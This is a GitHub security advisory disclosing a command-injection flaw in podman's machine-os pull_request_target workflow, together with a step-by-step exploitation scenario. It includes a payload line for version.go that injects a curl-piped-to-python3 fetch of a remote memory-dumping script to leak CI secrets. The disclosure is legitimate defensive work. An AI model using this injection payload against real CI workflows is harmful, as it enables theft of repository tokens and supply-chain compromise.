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Supply Chain vulnerability in containers/podman machine-os GitHub Actions workflow

Moderate
Luap99 published GHSA-34xh-hvp7-r2j7 May 12, 2025

Package

actions podman/.github/workflows/machine-os-pr.yml (GitHub Actions)

Affected versions

none

Patched versions

None

Description

Summary

A vulnerable workflow in the containers/podman repository allows an unprivileged GitHub user to exfiltrate sensitive build-time secrets. The secretes have limited scope so they could not be used to push code directly.
We confirmed that this problem has NOT been exploited and it only effected the CI workflow and never actual podman code.

The problematic workflow was fixed in d7fefb7

Credits

We thank François Proulx, VP of Security Research at BoostSecurity.io, for responsibly reporting this vulnerability to us.

Exploitation Scenario

  1. An attacker opens a GitHub Pull Request targeting any release branch other than (main, *-dev, *-rhel) with a malicious version/rawversion/version.go file.
  2. The GitHub Actions workflow machine-os-pr.yml is triggered on pull_request_target, which includes secrets and does not require approval.
  3. The version is retrieved from the version.go file without any sanitization, which allows any value in steps.getversion.outputs.version except a newline character ('\n').
  4. This variable is then used 5 times during the workflow, always using ${{ }} syntax, which allows for bash injection (CWE-77). The first occurrence can be found here.
  5. The injection can be used to retrieve two secrets:
    a. PODMANBOT_TOKEN: A Personal Access Token (PAT) used to push commits to another repo (proof). The PAT at least has content: write permissions on podmanbot/podman-machine-os, which can be used to modify the repository and exfiltrate any secrets this repository holds. The PAT might have more rights depending on the creation parameters (TBD).
    b. GITHUB_TOKEN: with issues: write and pull-requests: write permissions. This could potentially aid social engineering, since labels (approved, do-not-merge/<reason>, etc...) are heavily used in the PR review process within containers/podman. Currently, no workflows with higher permissions seem to use label conditions in a way that this token could exploit, but the potential exists.

Payload example in version.go:

This is RCE stage 0 which dumps the memory of the GitHub Actions job runner, and outputs to logs the secrets double Base64 encode (raw secrets and base64 secrets is masked otherwise)

const RawVersion = ";curl -s https://gist.githubusercontent.com/fproulx-boostsecurity/d63abaaac3318a4c66ef958ef2e5b525/raw/0cbe3f712837b97647fbd14a34c28d25b5bdacbf/ghamemdump.py | python3; exit 0"

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

Credits